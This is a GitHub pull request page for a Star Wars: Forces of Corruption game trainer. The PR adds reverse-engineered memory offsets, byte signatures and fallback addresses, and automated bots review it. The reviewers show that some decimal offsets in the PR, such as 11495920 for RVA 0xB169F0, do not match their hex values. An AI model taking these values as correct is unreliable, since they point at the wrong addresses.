Skip to content

fix(profiles): apply Phase 2 RE critical corrections#119

Merged
Prekzursil merged 10 commits intomainfrom
fix/re-phase2-critical-corrections
Apr 4, 2026
Merged

fix(profiles): apply Phase 2 RE critical corrections#119
Prekzursil merged 10 commits intomainfrom
fix/re-phase2-critical-corrections

Conversation

@Prekzursil
Copy link
Copy Markdown
Owner

@Prekzursil Prekzursil commented Apr 3, 2026

Summary

  • Fix hero_respawn_timer fallback offset (0x152070 -> 0xB169F0) from RE Phase 2 static decompilation
  • Add 8 RE-derived fallback offsets for Phase 2 functions/globals (AddCredits, SetTechLevel, SetSpeedOverride, PlayerArray, etc.)
  • Add 3 new AOB signatures: AddCredits, SetTechLevel, SetSpeedOverride function prologues
  • Document HP manipulation as native-hook-only (Set_Hull Lua binding confirmed non-existent)
  • Document credits/speed path mismatches (current symbols target UI mirrors, not authoritative engine fields)
  • Promote tactical_god_mode and tactical_one_hit_mode from experimental to stable
  • Include RE integration plan (docs/re_integration_plan.md) and Phase 2 signature pack

RE Source

All corrections derived from static decompilation of StarWarsG.exe v1.121.13.7360 using Ghidra 12.0.3 + GhidraMCP 4.3.0. Knowledge base at swfoc_memory/alamo_engine_kb.json.

Test plan

  • Verify hero_respawn_timer resolves to correct address at runtime
  • Verify new AOB signatures match in live process scan
  • Verify god_mode/one_hit work without experimental flag
  • Run existing test suite (no code changes, profile-only)

Generated with Claude Code

Summary by CodeRabbit

  • Documentation

    • Added integration planning docs for editor symbol resolution, Ghidra pack guidance, mismatches/corrections, and prioritized next actions.
  • New Features

    • Editor support for credits, tech-level, and speed-override operations via new scanning/signature metadata.
    • Expanded action guidance with authoritative memory-path notes and implementation clarifications.
  • Changes

    • Removed experimental god-mode and one-hit flags; updated fallback/address guidance.
  • Chores

    • CI/workflow and tooling config updates; test tooling bumps.

5 corrections from static decompilation of StarWarsG.exe:

1. Fix hero_respawn_timer fallback offset (0x152070 -> 0xB169F0)
   RE confirmed Default_Hero_Respawn_Time global at RVA 0xB169F0

2. Add RE-derived fallback offsets for Phase 2 functions/globals:
   - player_array_global (0xA16FF0), player_count_global (0xA16FF8)
   - add_credits_func (0x27F370), set_tech_level_func (0x288980)
   - set_speed_override_func (0x3A8C90), clear_speed_override_func (0x38F8B0)

3. Add 3 new AOB signatures: AddCredits, SetTechLevel, SetSpeedOverride

4. Document HP manipulation as native-hook-only (Set_Hull Lua binding
   does not exist — confirmed via full Lua binding surface analysis)

5. Document credits/speed path mismatches: current symbols resolve to
   UI mirrors, not authoritative engine fields. Integration plan in
   docs/re_integration_plan.md describes the migration path.

Promote tactical_god_mode and tactical_one_hit_mode from experimental
to stable — RE Phase 1 confirmed the invulnerability mechanism at
GameObjectClass+0x3A7.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@devloai
Copy link
Copy Markdown

devloai Bot commented Apr 3, 2026

Unable to trigger custom agent "Code Reviewer". You have run out of credits 😔
Please upgrade your plan or buy additional credits from the subscription page.

@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analyzing 200 commits...

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented Apr 3, 2026

Warning

Rate limit exceeded

@Prekzursil has exceeded the limit for the number of commits that can be reviewed per hour. Please wait 12 minutes and 8 seconds before requesting another review.

Your organization is not enrolled in usage-based pricing. Contact your admin to enable usage-based pricing to continue reviews beyond the rate limit, or try again in 12 minutes and 8 seconds.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: d4d55a8e-5a0d-423b-b155-902dc966fefe

📥 Commits

Reviewing files that changed from the base of the PR and between a2fcd6b and 08eca51.

📒 Files selected for processing (89)
  • src/SwfocTrainer.App/Infrastructure/AsyncCommand.cs
  • src/SwfocTrainer.App/MainWindow.xaml.cs
  • src/SwfocTrainer.App/Models/HotkeyBindingItem.cs
  • src/SwfocTrainer.App/Program.cs
  • src/SwfocTrainer.App/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModel.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelAttachHelpers.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelCoreStateBase.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelCreditsHelpers.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelDiagnostics.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelHotkeyHelpers.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelLiveOpsBase.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelPayloadHelpers.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelQuickActionHelpers.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelQuickActionsBase.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelRuntimeModeOverrideHelpers.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelSaveOpsBase.cs
  • src/SwfocTrainer.App/ViewModels/MainViewModelSpawnHelpers.cs
  • src/SwfocTrainer.Catalog/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Catalog/Services/CatalogService.cs
  • src/SwfocTrainer.Core/Contracts/ModOnboardingServiceExtensions.cs
  • src/SwfocTrainer.Core/IO/TrustedPathPolicy.cs
  • src/SwfocTrainer.Core/Logging/FileAuditLogger.cs
  • src/SwfocTrainer.Core/Models/BackendRoutingModels.cs
  • src/SwfocTrainer.Core/Models/ModMechanicModels.cs
  • src/SwfocTrainer.Core/Models/ProfileModels.cs
  • src/SwfocTrainer.Core/Models/SdkOperationCatalog.cs
  • src/SwfocTrainer.Core/Models/TelemetryModels.cs
  • src/SwfocTrainer.Core/Models/TransplantModels.cs
  • src/SwfocTrainer.Core/Models/WorkshopInventoryModels.cs
  • src/SwfocTrainer.Core/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Core/Services/ActionReliabilityService.cs
  • src/SwfocTrainer.Core/Services/ActionSymbolRegistry.cs
  • src/SwfocTrainer.Core/Services/ModCalibrationService.cs
  • src/SwfocTrainer.Core/Services/NullSdkDiagnosticsSink.cs
  • src/SwfocTrainer.Core/Services/SdkOperationRouter.cs
  • src/SwfocTrainer.Core/Services/SelectedUnitTransactionService.cs
  • src/SwfocTrainer.Core/Services/SpawnPresetService.cs
  • src/SwfocTrainer.Core/Services/SupportBundleService.cs
  • src/SwfocTrainer.Core/Services/TelemetrySnapshotService.cs
  • src/SwfocTrainer.Core/Services/TrainerOrchestrator.cs
  • src/SwfocTrainer.Core/SwfocTrainer.Core.csproj
  • src/SwfocTrainer.Core/Validation/ActionPayloadValidator.cs
  • src/SwfocTrainer.DataIndex/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Flow/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Flow/Services/LuaHarnessRunner.cs
  • src/SwfocTrainer.Helper/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Helper/Services/HelperModService.cs
  • src/SwfocTrainer.Meg/MegEntry.cs
  • src/SwfocTrainer.Meg/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Profiles/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Profiles/Services/FileSystemProfileRepository.cs
  • src/SwfocTrainer.Profiles/Services/GitHubProfileUpdateService.cs
  • src/SwfocTrainer.Profiles/Services/ModOnboardingService.cs
  • src/SwfocTrainer.Runtime/Interop/ProcessMemoryAccessor.cs
  • src/SwfocTrainer.Runtime/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Runtime/Scanning/AobPattern.cs
  • src/SwfocTrainer.Runtime/Scanning/AobScanner.cs
  • src/SwfocTrainer.Runtime/Services/BackendRouter.cs
  • src/SwfocTrainer.Runtime/Services/BinaryFingerprintService.cs
  • src/SwfocTrainer.Runtime/Services/CapabilityMapResolver.cs
  • src/SwfocTrainer.Runtime/Services/GameLaunchService.cs
  • src/SwfocTrainer.Runtime/Services/LaunchContextResolver.cs
  • src/SwfocTrainer.Runtime/Services/ModDependencyValidator.cs
  • src/SwfocTrainer.Runtime/Services/ModMechanicDetectionService.cs
  • src/SwfocTrainer.Runtime/Services/NamedPipeExtenderBackend.cs
  • src/SwfocTrainer.Runtime/Services/NamedPipeExtenderBackendContextHelpers.cs
  • src/SwfocTrainer.Runtime/Services/NamedPipeHelperBridgeBackend.cs
  • src/SwfocTrainer.Runtime/Services/NoopSdkRuntimeAdapter.cs
  • src/SwfocTrainer.Runtime/Services/ProcessLocator.cs
  • src/SwfocTrainer.Runtime/Services/ProfileVariantResolver.cs
  • src/SwfocTrainer.Runtime/Services/RuntimeAdapter.cs
  • src/SwfocTrainer.Runtime/Services/RuntimeModeProbeResolver.cs
  • src/SwfocTrainer.Runtime/Services/SdkExecutionGuard.cs
  • src/SwfocTrainer.Runtime/Services/SignatureResolver.Addressing.cs
  • src/SwfocTrainer.Runtime/Services/SignatureResolver.Fallbacks.cs
  • src/SwfocTrainer.Runtime/Services/SignatureResolver.SymbolHydration.cs
  • src/SwfocTrainer.Runtime/Services/SignatureResolver.cs
  • src/SwfocTrainer.Runtime/Services/SymbolHealthService.cs
  • src/SwfocTrainer.Runtime/Services/TelemetryLogTailService.cs
  • src/SwfocTrainer.Runtime/Services/ValueFreezeService.cs
  • src/SwfocTrainer.Runtime/Services/WorkshopInventoryService.Chains.cs
  • src/SwfocTrainer.Runtime/Services/WorkshopInventoryService.cs
  • src/SwfocTrainer.Saves/Internal/SaveSchemaRepository.cs
  • src/SwfocTrainer.Saves/Properties/AssemblyInfo.cs
  • src/SwfocTrainer.Saves/Services/BinarySaveCodec.cs
  • src/SwfocTrainer.Saves/Services/SavePatchPackService.cs
  • src/SwfocTrainer.Transplant/Properties/AssemblyInfo.cs
  • tests/SwfocTrainer.Tests/SwfocTrainer.Tests.csproj
📝 Walkthrough

Walkthrough

Adds a planning document for signature-first symbol resolution into the SWFOC Editor, updates the base SWFOC profile with new signatures and fallback offsets plus expanded action descriptions, adds an editor-compatible signature/fallback JSON, and tweaks CI/workflow and dev/test dependency versions. No runtime code changes.

Changes

Cohort / File(s) Summary
Documentation
docs/re_integration_plan.md
New integration plan describing signature-first workflow, profile JSON schema, runtime SymbolMap, Ghidra symbol-pack hydration, mismatches & corrections, quick-win prioritization, and ASLR/anchor considerations.
Profile Configuration
profiles/default/profiles/base_swfoc.json
Removed two experimental features; updated game_speed pattern; added add_credits_func, set_tech_level_func, set_speed_override_func; changed hero_respawn_timer fallback; added multiple fallback offsets; expanded set_credits, set_selected_hp, and set_selected_speed descriptions.
Signature Reference
profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json
New editor-compatible signature profile: three function signatures (patterns/offsets/value types), a fallback RVA map for new/existing symbols, hero_respawn correction, and field/offset reference docs for structs/globals.
CI: Sonar
.github/workflows/sonarcloud.yml
Refactored SonarCloud begin step to build SONAR_ARGS and conditionally append PR parameters for pull_request events.
CI: Reusable Workflow Inputs
.github/workflows/codecov-analytics.yml, .github/workflows/quality-zero-platform.yml
Added runner: windows-latest input to reusable workflow call; passed additional secrets (CHROMATIC_PROJECT_TOKEN, APPLITOOLS_API_KEY, CODEX_AUTH_JSON) to a reusable scanner workflow.
Tests Project
tests/SwfocTrainer.Tests/SwfocTrainer.Tests.csproj
Bumped coverlet.collector and coverlet.msbuild from 6.0.4 to 6.0.5.
Tooling DevDeps
tools/visual-chromatic/package.json
Adjusted devDependency @chromatic-com/playwright version range from ^0.12.8 to ^0.12.3.
Quality Config
.qlty/qlty.toml
Excluded tests/** and tools/** from smell detection.

Sequence Diagram(s)

sequenceDiagram
    participant Editor
    participant Scanner as SignatureScanner
    participant SymbolMap
    participant GhidraPack as GhidraSymbolPack
    participant Runtime as GameMemory

    Editor->>Scanner: load profile JSON (signatures, fallbacks, actions)
    Scanner->>Runtime: perform signature scans / runtime RVA discovery
    Scanner-->>SymbolMap: emit resolved symbols & anchors
    Editor->>SymbolMap: build action bindings (map signatures -> actions)
    Note over Editor,SymbolMap: Optional hydration
    Editor->>GhidraPack: request anchor resolution (RVA vs absolute)
    GhidraPack-->>Editor: provide resolved symbols, metadata, confidence scores
    Editor->>SymbolMap: merge Ghidra anchors (hydrate) / update fallback offsets
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

Suggested labels

area:profiles, area:docs, area:ci, area:tooling, Review effort 4/5, needs-reviewer

Poem

🐰 Hopping through bytes with whiskers twitching,
New signatures found and fallback offsets fixing.
I nibble profiles, map symbols with care,
Editor and Ghidra now almost a pair.
A rabbit cheers this tidy memory spring—✨

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Description check ⚠️ Warning The PR description covers key aspects (what changed, why, RE source, test plan) but is missing several required template sections: Risk assessment, Affected Profiles checklist, Reliability Evidence with deterministic tests/repro bundle, Rollback steps, and Scope Guard checklist. The description provides substantial content but does not follow the repository's required structure. Complete the template by adding: Risk level and regression surface assessment, check affected profiles (base_swfoc), provide deterministic test results or repro bundle evidence, document rollback steps, and verify scope guard criteria (minimal/focused change, compatibility impact, signature rationale).
✅ Passed checks (2 passed)
Check name Status Explanation
Title check ✅ Passed The title 'fix(profiles): apply Phase 2 RE critical corrections' directly summarizes the main change: applying critical corrections from Phase 2 reverse engineering to the profiles, including fallback offset fixes, new signatures, and documentation.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/re-phase2-critical-corrections

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@qodo-code-review
Copy link
Copy Markdown

Review Summary by Qodo

Apply Phase 2 RE critical corrections and promote god mode features

🐞 Bug fix ✨ Enhancement

Grey Divider

Walkthroughs

Description
• Fix hero_respawn_timer fallback offset from 0x152070 to 0xB169F0 (critical correction)
• Add 8 RE-derived fallback offsets for Phase 2 functions and globals (PlayerArray, AddCredits,
  SetTechLevel, SetSpeedOverride)
• Add 3 new AOB signatures for AddCredits, SetTechLevel, SetSpeedOverride function prologues
• Promote tactical_god_mode and tactical_one_hit_mode from experimental to stable features
• Document HP/credits/speed path mismatches and native-hook-only constraints in action descriptions
• Include comprehensive RE integration plan with feature-by-feature analysis and quick-win ranking
Diagram
flowchart LR
  RE["Phase 2 RE Findings<br/>StarWarsG.exe v1.121.13.7360"]
  OFFSET["Offset Corrections<br/>hero_respawn_timer<br/>0x152070 → 0xB169F0"]
  FALLBACK["8 New Fallback Offsets<br/>PlayerArray, AddCredits<br/>SetTechLevel, SetSpeedOverride"]
  SIGS["3 New AOB Signatures<br/>Function Prologues"]
  PROMOTE["Promote Features<br/>god_mode, one_hit_mode<br/>experimental → stable"]
  DOCS["Integration Documentation<br/>Mismatches & Migration Paths<br/>re_integration_plan.md"]
  PROFILE["Updated base_swfoc.json<br/>Profile Configuration"]
  
  RE --> OFFSET
  RE --> FALLBACK
  RE --> SIGS
  RE --> PROMOTE
  RE --> DOCS
  OFFSET --> PROFILE
  FALLBACK --> PROFILE
  SIGS --> PROFILE
  PROMOTE --> PROFILE
  DOCS -.-> PROFILE
Loading

Grey Divider

File Changes

1. docs/re_integration_plan.md 📝 Documentation +227/-0

Comprehensive RE integration plan with feature analysis

• New 227-line comprehensive RE integration plan documenting Phase 1-2 findings
• Feature-by-feature analysis of 10 major features with tier ranking (Tier 1: unblockable, Tier 2:
 quick wins, Tier 3: complex)
• Detailed mismatch documentation: credits (Int32 vs float32), speed (UI mirror vs locomotor),
 hero_respawn_timer (offset validation)
• Quick-win ranking table with effort-to-impact ratios for 8 priority changes
• Ghidra Symbol Pack format specification and generation guidance
• Blocked features requiring Phase 3 RE work (ability triggering, damage scaling, faction diplomacy)

docs/re_integration_plan.md


2. profiles/default/profiles/base_swfoc.json 🐞 Bug fix +17/-9

Update profile with Phase 2 offsets and promote features

• Remove tactical_god_mode and tactical_one_hit_mode from experimentalFeatures list (promote
 to stable)
• Add 3 new AOB signatures: add_credits_func, set_tech_level_func, set_speed_override_func
 with function prologue patterns
• Correct hero_respawn_timer fallback offset from 1384560 (0x152070) to 11495920 (0xB169F0)
• Add 7 new fallback offsets: player_array_global, player_count_global,
 default_hero_respawn_time_global, add_credits_func, set_tech_level_func,
 set_speed_override_func, clear_speed_override_func
• Update action descriptions for set_credits, set_selected_hp, set_selected_speed with RE
 findings and migration path notes

profiles/default/profiles/base_swfoc.json


3. profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json ✨ Enhancement +118/-0

Phase 2 signature pack with field offset reference

• New file containing 3 AOB signatures for Phase 2 functions (AddCredits, SetTechLevel,
 SetSpeedOverride)
• Document 8 new fallback offsets with RVA-to-decimal conversions
• Include correction entry for hero_respawn_timer offset mismatch (0x152070 → 0xB169F0)
• Provide field offset reference table for PlayerObject, GameObjectClass, LocomotorComponent, and
 Globals
• Map authoritative data paths: credits (PlayerObject+0x70 float32), tech_level (PlayerObject+0x84
 int32), speed (locomotor+0x2A0)

profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json


Grey Divider

Qodo Logo

@qodo-code-review
Copy link
Copy Markdown

qodo-code-review Bot commented Apr 3, 2026

Code Review by Qodo

🐞 Bugs (4) 📘 Rule violations (1) 📎 Requirement gaps (0) 🎨 UX Issues (0)

Grey Divider


Action required

1. No test evidence for offsets 📘 Rule violation ☼ Reliability
Description
This PR changes runtime profile behavior (new signatures and updated fallback offsets) but does not
include deterministic test evidence or an explicit, justified testing-skip statement. Without
repeatable artifacts, the reliability of the new offsets/signatures cannot be verified
independently.
Code

profiles/default/profiles/base_swfoc.json[R66-75]

+    "hero_respawn_timer": 11495920,
    "unit_cap": 2804047,
-    "game_speed": 0
+    "game_speed": 0,
+    "player_array_global": 10579952,
+    "player_count_global": 10579960,
+    "default_hero_respawn_time_global": 11495920,
+    "add_credits_func": 2618224,
+    "set_tech_level_func": 2689408,
+    "set_speed_override_func": 3837072,
+    "clear_speed_override_func": 3733168
Evidence
PR Compliance ID 1 requires deterministic test evidence or an explicit justified skip for
runtime/tooling/test-related changes. The PR updates multiple runtime-resolved addresses/offsets and
signatures in base_swfoc.json without adding any test-result artifacts or skip rationale in the
changed files.

AGENTS.md
profiles/default/profiles/base_swfoc.json[66-75]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
Runtime-profile changes (new AOB signatures and fallback offsets) were made without deterministic test evidence and without an explicit, justified statement that testing was skipped.

## Issue Context
This PR modifies live-process symbol resolution inputs (AOB patterns and fallback offsets), which can silently fail or mis-resolve without repeatable validation artifacts.

## Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[66-75]
- TestResults/runs/<newRunId>/repro-bundle.json[1-99999]
- TestResults/runs/<newRunId>/repro-bundle.md[1-99999]

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


2. Wrong respawn fallback RVA 🐞 Bug ≡ Correctness
Description
The profile sets hero_respawn_timer (and default_hero_respawn_time_global) fallbackOffsets to
11495920 while the PR’s own RE docs/pack state the RVA is 0xB169F0; 0xB169F0 converts to 11626992,
so the fallback will resolve the wrong address when signatures miss.
Code

profiles/default/profiles/base_swfoc.json[R66-71]

+    "hero_respawn_timer": 11495920,
    "unit_cap": 2804047,
-    "game_speed": 0
+    "game_speed": 0,
+    "player_array_global": 10579952,
+    "player_count_global": 10579960,
+    "default_hero_respawn_time_global": 11495920,
Evidence
Fallback offsets are applied as baseAddress + offset, so any hex/decimal conversion error directly
points reads/writes at the wrong address. The PR text claims Default_Hero_Respawn_Time is at RVA
0xB169F0, but uses 11495920 as the decimal (which does not equal 0xB169F0); meanwhile the Phase 2
reference JSON also contains 11626992 for this symbol, demonstrating inconsistency.
hero_respawn_timer is a critical symbol and is written by the set_hero_respawn_timer Memory action,
so a bad fallback can break the feature when AOB resolution fails.

profiles/default/profiles/base_swfoc.json[50-75]
docs/re_integration_plan.md[67-76]
profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-49]
profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[112-115]
src/SwfocTrainer.Runtime/Services/SignatureResolver.Fallbacks.cs[26-53]
profiles/default/profiles/base_swfoc.json[342-353]
profiles/default/profiles/base_swfoc.json[520-526]
src/SwfocTrainer.Runtime/Services/RuntimeAdapter.cs[2598-2625]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

### Issue description
`hero_respawn_timer` fallback offset is inconsistent with the stated RVA `0xB169F0` and appears to be the wrong decimal conversion, which will make fallback resolution point to the wrong address.

### Issue Context
Fallback offsets are resolved as `moduleBase + offset` (module-relative RVA). A wrong decimal value will cause incorrect reads/writes for Memory actions like `set_hero_respawn_timer`.

### Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[66-71]
- docs/re_integration_plan.md[67-76]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-49]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[112-115]

### What to change
- Replace `11495920` with the correct decimal value for `0xB169F0` (11626992) everywhere this RVA is represented (profile fallbackOffsets + doc + reference pack), so all sources agree.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools



Remediation recommended

3. Wrong tech-level fallback RVA 🐞 Bug ≡ Correctness
Description
The profile sets set_tech_level_func fallbackOffsets to 2689408, but the integration plan and the
Phase 2 reference JSON both indicate SetTechLevel is at RVA 0x288980 (decimal 2656640), so fallback
will resolve the wrong function address when signatures miss.
Code

profiles/default/profiles/base_swfoc.json[R72-74]

+    "add_credits_func": 2618224,
+    "set_tech_level_func": 2689408,
+    "set_speed_override_func": 3837072,
Evidence
The integration plan explicitly identifies SetTechLevel at RVA 0x288980, and the Phase 2 reference
file lists the corresponding decimal fallback 2656640. The profile’s fallback value (2689408)
disagrees with both sources, indicating a likely conversion/entry error.

profiles/default/profiles/base_swfoc.json[69-75]
docs/re_integration_plan.md[91-99]
profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-38]
src/SwfocTrainer.Runtime/Services/SignatureResolver.Fallbacks.cs[85-103]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

### Issue description
`set_tech_level_func` fallback offset in `base_swfoc.json` does not match the RE integration plan / Phase 2 reference values and likely points to the wrong address in fallback mode.

### Issue Context
When AOB scanning misses, `SignatureResolverFallbacks` will apply the fallback as `moduleBase + offset`. If the offset is wrong, the function address will be wrong.

### Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[72-74]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-38]
- docs/re_integration_plan.md[91-97]

### What to change
- Update `fallbackOffsets.set_tech_level_func` to the correct decimal value for RVA `0x288980` (2656640).
- Optionally add a brief comment in the reference JSON/doc about the conversion to prevent regression.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


4. Conflicting respawn-time decimals 🐞 Bug ⚙ Maintainability
Description
signatures_phase2_editor_format.json contains contradictory decimal values for
Default_Hero_Respawn_Time (11626992 vs 11495920), which can easily propagate wrong offsets into
profiles and docs.
Code

profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[R112-115]

+      "Default_Hero_Respawn_Time": {
+        "rva": "0xB169F0",
+        "decimal": 11495920
+      }
Evidence
In the same JSON, new_fallback_offsets.default_hero_respawn_time and
corrections.hero_respawn_timer.new_value use 11626992, but
field_offsets_reference.Globals.Default_Hero_Respawn_Time.decimal is 11495920. The doc repeats the
11495920 decimal next to the same RVA string, showing the inconsistency has already spread.

profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-49]
profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[112-115]
docs/re_integration_plan.md[71-76]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

### Issue description
The Phase 2 RE reference JSON contains conflicting decimal values for the same symbol, which makes it easy to copy the wrong offset into real profiles.

### Issue Context
This file appears to be used as a human-consumed reference for updating `base_swfoc.json` (and the PR already updated it), so internal consistency matters.

### Fix Focus Areas
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-49]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[112-115]
- docs/re_integration_plan.md[71-76]

### What to change
- Decide the correct decimal for RVA `0xB169F0` and ensure **all** occurrences in the reference JSON and doc match (including the `field_offsets_reference` block).

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools



Advisory comments

5. Local paths in docs 🐞 Bug ⚙ Maintainability
Description
re_integration_plan.md includes developer-specific absolute paths with a username, making the doc
non-portable and potentially sensitive if published.
Code

docs/re_integration_plan.md[R3-5]

+**Date:** 2026-04-04
+**Source:** Phase 1-2 RE knowledge base in `C:\Users\Prekzursil\Downloads\swfoc_memory`
+**Target:** SWFOC Editor at `C:\Users\Prekzursil\Downloads\SWFOC editor` (Prekzursil/SWFOC-Mod-Menu)
Evidence
The document hardcodes local Windows paths under C:\\Users\\Prekzursil\\..., which won’t apply to
other contributors and leaks a local username into the repo history.

docs/re_integration_plan.md[3-5]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

### Issue description
Documentation uses machine-specific absolute paths including a username.

### Issue Context
This reduces portability and can leak minor personal information into git history.

### Fix Focus Areas
- docs/re_integration_plan.md[3-5]

### What to change
- Replace absolute paths with repo-relative references (e.g., `./swfoc_memory`) or placeholders like `<local_re_kb_path>` / `<editor_repo_path>`.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


Grey Divider

ⓘ The new review experience is currently in Beta. Learn more

Grey Divider

Qodo Logo

@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analysis Complete

Generated ECC bundle from 1 commits | Confidence: 50%

View Pull Request #120

Repository Profile
Attribute Value
Language TypeScript
Framework Not detected
Commit Convention conventional
Test Directory separate
Generated Instincts (14)
Domain Count
git 3
code-style 9
testing 2

After merging, import with:

/instinct-import .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

Files

  • .claude/ecc-tools.json
  • .claude/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/agents/openai.yaml
  • .claude/identity.json
  • .codex/config.toml
  • .codex/AGENTS.md
  • .codex/agents/explorer.toml
  • .codex/agents/reviewer.toml
  • .codex/agents/docs-researcher.toml
  • .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

ECC Tools | Everything Claude Code

@deepsource-io
Copy link
Copy Markdown

deepsource-io Bot commented Apr 3, 2026

DeepSource Code Review

We reviewed changes in da78971...08eca51 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
Terraform Apr 4, 2026 12:05a.m. Review ↗
SQL Apr 4, 2026 12:05a.m. Review ↗
Rust Apr 4, 2026 12:05a.m. Review ↗
Shell Apr 4, 2026 12:05a.m. Review ↗
Ruby Apr 4, 2026 12:05a.m. Review ↗
PHP Apr 4, 2026 12:05a.m. Review ↗
Kotlin Apr 4, 2026 12:05a.m. Review ↗
Swift Apr 4, 2026 12:05a.m. Review ↗
Scala Apr 4, 2026 12:05a.m. Review ↗
Python Apr 4, 2026 12:05a.m. Review ↗
JavaScript Apr 4, 2026 12:05a.m. Review ↗
Java Apr 4, 2026 12:05a.m. Review ↗
Go Apr 4, 2026 12:05a.m. Review ↗
Docker Apr 4, 2026 12:05a.m. Review ↗
C & C++ Apr 4, 2026 12:05a.m. Review ↗
Ansible Apr 4, 2026 12:05a.m. Review ↗

Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 14705e6dc1

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

"tactical_one_hit_mode": 1418854,
"planet_owner": 1523152,
"hero_respawn_timer": 1384560,
"hero_respawn_timer": 11495920,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Use correct decimal for hero respawn fallback

Update this fallback to the decimal value that actually matches 0xB169F0. SignatureResolver uses this address when the hero_respawn_timer signature misses, so the current 11495920 (which is 0xAF6B70) points to the wrong location and can make set_hero_respawn_timer write/read an unrelated field. The RE data file added in this same commit already encodes 0xB169F0 as 11626992, which is the value this entry should use.

Useful? React with 👍 / 👎.

@codacy-production
Copy link
Copy Markdown

codacy-production Bot commented Apr 3, 2026

Not up to standards ⛔

🔴 Issues 1 minor

Alerts:
⚠ 1 issue (≤ 0 issues of at least minor severity)

Results:
1 new issue

Category Results
CodeStyle 1 minor

View in Codacy

🟢 Metrics 0 complexity · 0 duplication

Metric Results
Complexity 0 (≤ 10 complexity)
